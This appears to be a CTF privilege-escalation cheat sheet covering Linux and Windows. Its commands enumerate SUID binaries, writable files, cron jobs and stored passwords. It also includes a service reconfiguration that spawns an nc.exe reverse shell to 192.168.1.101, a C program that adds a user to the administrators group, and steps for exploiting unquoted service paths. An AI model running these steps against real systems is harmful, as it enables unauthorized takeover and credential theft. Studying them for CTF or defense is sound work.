CTF Methodology - Privilege Escalation

Devil is in the detail. He literally is , not kidding . Once limited shell is established on the system its a good idea to escalate privileges . Because why wont you ?

Its a good idea to get to know the system we are working with first .

Linux

Enumeration Script

• LinEnum
• LinPeas
• Unix privsec
• Linprivchecker.py
• Linux enum mod
• Linux exploit suggester

Check distribution type and version

1
2
3

cat /etc/issue
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based

Check kernel version

1
2
3
4
5
6

rpm -q kernel
dmesg | grep Linux
cat /proc/version
uname -a
uname -mrs
ls /boot | grep vmlinuz-

Check env

1
2
3
4
5
6
7

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

Check what ports are listening from inside

1

netstat -tulpn 

Check services running owned by root

1
2

ps aux | grep root
ps -ef | grep root

Check information about applications installed

1
2
3
4
5
6

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Check what jobs are scheduled

1
2
3
4
5
6
7
8
9
10
11
12

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Try to listen to live traffic

1

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Self exploration

1
2
3
4
5
6
7
8
9

id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

Find Suid , Guid misconfiguration and exploit

When a binary has an suid bit attached to it , it runs an another user which could be root if root’s the owner .

1
2
3
4
5

#Find SUID
find / -perm -u=s -type f 2>/dev/null

#Find GUID
find / -perm -g=s -type f 2>/dev/null

Check GTFOBins for all SUID exploit ways

Abuse sudo rights

Im case we have a restricted shell that has access to some programs using sudo we might be able to escalate your privileges with. Any program that can write or overwrite can be used. For example, if we have sudo-rights to cp you can overwrite /etc/shadow or /etc/sudoers with your own malicious file.

check for any such available binaries and again refer the amazing GTFOBins

World writable scripts onwed by root

If you find a script that is owned by root but is writable by anyone you can add your own malicious code in that script that will escalate your privileges when the script is run as root. It might be part of a cronjob, or otherwise automatized, or it might be run by hand by a sysadmin. You can also check scripts that are called by these scripts.

1
2
3
4
5
6
7
8
9
10

#World writable files directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

# World executable folder
find / -perm -o x -type d 2>/dev/null

# World writable and executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null

Windows

Self exploration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

# Basics
systeminfo
hostname

# Who am I?
whoami
echo %username%

# What users/localgroups are on the machine?
net users
net localgroups

# More info about a specific user. Check if user has privileges.
net user user1

# View Domain Groups
net group /domain

# View Members of Domain Group
net group /domain <Group Name>

# Firewall
netsh firewall show state
netsh firewall show config

# Network
ipconfig /all
route print
arp -A

# How well patched is the system?
wmic qfe get Caption,Description,HotFixID,InstalledOn

Look for passwords

1
2
3
4
5
6
7
8
9
10

findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

#Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*

# Find all passwords in all files.
findstr /spin "password" *.*
findstr /spin "password" *.*

Look for passwords in files

1
2
3
4
5
6
7
8
9

c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b 
dir c:\ /s /b | findstr /si *vnc.ini

sometimes might be base64 encoded .

Look for passwords in registry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Check for services only available from inside

1

netstat -ano

Kernel exploits

Sherlock to fnd missing software patches. Can also identify hotfixes/patches using :-

1
2
3

systeminfo
# or
wmic qfe get Caption,Description,HotFixID,InstalledOn

Find scheduled tasks

Look for scheduled tasks that are run as privileged user and runs a binary we can overwrite .

1
2

schtasks /query /fo LIST /v
cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM

Second command in linux

Change the upnp service binary

1
2
3

sc config upnphost binpath= "C:\Inetpub\nc.exe 192.168.1.101 6666 -e c:\Windows\system32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc config upnphost depend= ""

Weak service permissions

Services on windows are programs that run in the background. Without a GUI.
If you find a service that has write permissions set to everyone you can change that binary into your custom binary and make it execute in the privileged context.
First we need to find services. That can be done using wmci or sc.exe. Wmci is not available on all windows machines, and it might not be available to your user. If you don’t have access to it, you can use sc.exe.

• WMCI

  1	wmic service list brief

  This will produce a lot out output and we need to know which one of all of these services have weak permissions. In order to check that we can use the icacls program. Notice that icacls is only available from Vista and up. XP and lower has cacls instead.
  As you can see in the command below you need to make sure that you have access to wimc, icacls and write privilege in C:\windows\temp.

  1 2 3

  for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

  Binaries in system32 are excluded since they are mostly correct, since they are installed by windows.

sc.exe

1
2
3
4
5
6
7
8

sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt

FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt

FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt

FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

Now you can process them one by one with the cacls command.

1

cacls "C:\path\to\file.exe"

What we are interested in is binaries that have been installed by the user. In the output you want to look for BUILTIN\Users:(F). Or where your user/usergroup has (F) or (C) rights.

Example:

1
2
3
4
5

C:\path\to\file.exe 
BUILTIN\Users:F
BUILTIN\Power Users:C 
BUILTIN\Administrators:F 
NT AUTHORITY\SYSTEM:F

That means your user has write access. So you can just rename the .exe file and then add your own malicious binary. And then restart the program and your binary will be executed instead. This can be a simple getsuid program or a reverse shell that you create with msfvenom.
Here is a POC code for getsuid.

1
2
3
4
5
6
7

#include <stdlib.h>
int main ()
{
int i;
    i = system("net localgroup administrators theusername /add");
return 0;
}

We then compile it with mingw like this:

1

i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe

We can restart the service now

1
2

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name].

The binary should now be executed in the SYSTEM or Administrator context.

MIgrate the meterpreter shell

If your meterpreter session dies right after you get it you need migrate it to a more stable service. A common service to migrate to is winlogon.exe since it is run by system and it is always run. You can find the PID like this:

1

wmic process list brief | find "winlogon"

So when you get the shell you can either type migrate PID or automate this so that meterpreter automatically migrates. Here for more information

Find and exploit unquoted service paths

If the path contains a space and is not quoted, the service is vulnerable.

• Find services with Unquoted paths

1
2
3
4
5
6
7
8

# Using WMIC
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

# Using sc
sc query
sc qc service name

# Look for Binary_path_name and see if it is unquoted.

• exploit it

If the path to the binary is:

1

c:\Program Files\something\winamp.exe

We can place a binary like this

1

c:\program.exe

When the program is restarted it will execute the binary program.exe, which we of course control. We can do this in any directory that has a space in its name. Not only program files.

• There is also a metasploit module for this is: exploit/windows/local/trusted_service_path